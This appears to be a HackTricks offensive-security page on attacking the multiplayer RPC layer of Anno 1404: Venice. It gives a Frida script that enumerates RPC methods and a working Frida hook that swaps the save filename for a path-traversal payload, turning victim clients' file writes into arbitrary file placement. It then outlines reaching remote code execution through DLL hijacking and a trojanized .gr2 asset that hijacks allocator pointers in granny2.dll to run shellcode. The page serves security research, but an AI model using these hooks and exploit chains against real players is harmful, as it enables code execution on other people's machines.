Custom UDP RPC Enumeration & File-Transfer Abuse

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Mapping proprietary RPC objects with Frida

Older multiplayer titles often embed home-grown RPC stacks on top of UDP. In Anno 1404: Venice this is implemented inside NetComEngine3.dll via the RMC_CallMessage dispatcher, which parses 5 fields from every datagram:

FieldPurpose
IDRPC verb (16-bit)
FlagsTransport modifiers (reliability, ordering)
SourceObject ID of the caller
TargetObjectRemote object instance
MethodMethod index inside the target class

Two helper functions – ClassToMethodName() and TargetName() – translate raw IDs into human-readable strings for logging. By brute-forcing 24‑bit object IDs and 16‑bit method IDs and calling those helpers we can enumerate the entire remotely reachable surface without traffic captures or symbol leaks.

Frida surface enumerator (trimmed)
'use strict';

const classToMethod = Module.getExportByName('NetComEngine3.dll', 'ClassToMethodName');
const targetName = Module.getExportByName('NetComEngine3.dll', 'TargetName');

function tryID(objID, methodID) {
  const method = new NativeFunction(classToMethod, 'pointer', ['pointer', 'uint']);
  const target = new NativeFunction(targetName, 'pointer', ['pointer']);
  const buf = Memory.alloc(Process.pointerSize);
  buf.writeU32(objID);
  const m = method(buf, methodID);
  if (!m.isNull()) {
    const t = target(buf);
    console.log(objID.toString(16), '=', t.readUtf16String());
    console.log('  -', methodID, '=', m.readUtf16String());
  }
}

for (let obj = 0; obj < 0x9000000; obj += 0x400000) {
  for (let meth = 0; meth < 0x40; meth++) {
    tryID(obj, meth);
  }
}

Running frida -l explore-surface.js Addon.exe emitted the complete RPC map, including the Player object (0x7400000) and its file-transfer verbs OnSendFileInit, OnSendFileData, OnReceivedFileData, and OnCancelSendFile. The same workflow applies to any binary protocol that exposes internal reflection helpers: intercept the dispatcher, brute-force IDs, and log what the engine already knows about each callable method.

Tips

  • Use the engine’s own logging buffers (WString::Format in this case) to avoid reimplementing undocumented string encodings.
  • Dump Flags to identify reliability features (ACK, resend requests) before attempting fuzzing; custom UDP stacks frequently drop malformed packets silently.
  • Store the enumerated map – it serves as a fuzzing corpus and makes it obvious which objects manipulate the filesystem, world state, or in-game scripting.

Subverting file-transfer RPCs

Multiplayer save synchronization used a two-packet handshake:

  1. OnSendFileInit — carries the UTF‑16 filename the client should use when saving the incoming payload.
  2. OnSendFileData — streams raw file contents in fixed-size chunks.

Because the server serializes the filename through ByteStreamWriteString() right before sending, a Frida hook can swap the pointer to a traversal payload while keeping packet sizes intact.

Filename swapper
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
  onEnter(args) {
    const src = args[1].readPointer();
    const value = src.readUtf16String();
    if (value && value.indexOf('Sauvegarde.sww') !== -1) {
      args[1].writePointer(evil);
    }
  }
});

Victim clients performed zero sanitisation and wrote the received save to whatever path the hostile host supplied, e.g. dropping into C:\User\user instead of the intended ...\Savegames\MPShare tree. On Windows installations of Anno 1404 the game directory is world-writable, so the traversal instantly becomes an arbitrary file write primitive:

  • Drop DLLs for classic search-order hijacking on next launch, or
  • Overwrite asset archives (RDA files) so that weaponized models, textures, or scripts are loaded live during the same session.

Defending / attacking other targets

  • Look for RPC verbs named SendFile, Upload, ShareSave, etc., then intercept the serialization helper responsible for filenames or target directories.
  • Even if filenames are length-checked, many stacks forget to canonicalize ..\ or mixed / vs \ sequences; brute-force all separators.
  • When the receiver stores files under the game install path, check ACLs via icacls to confirm whether an unprivileged user can drop code there.

Turning path traversal into live asset execution

Once you can upload arbitrary bytes, replace any frequently loaded asset:

  1. Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with srand(0xA2C2A) seeded streams. Tools like RDAExplorer re-pack archives after edits.
  2. Inject a malicious .gr2. The trojanized Granny 3D file carries the relocation exploit that overwrites SectionContentArray and, through a two-stage relocation sequence, gains an arbitrary 4-byte write inside granny2.dll.
  3. Hijack allocator callbacks. With ASLR disabled and DEP off, replacing the malloc/free function pointers in granny2.dll redirects the next allocation to your shellcode, giving immediate RCE without waiting for the victim to restart the game.

This pattern generalises to any title that streams structured assets from binary archives: combine RPC-level traversal for delivery and unsafe relocation processing for code execution.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks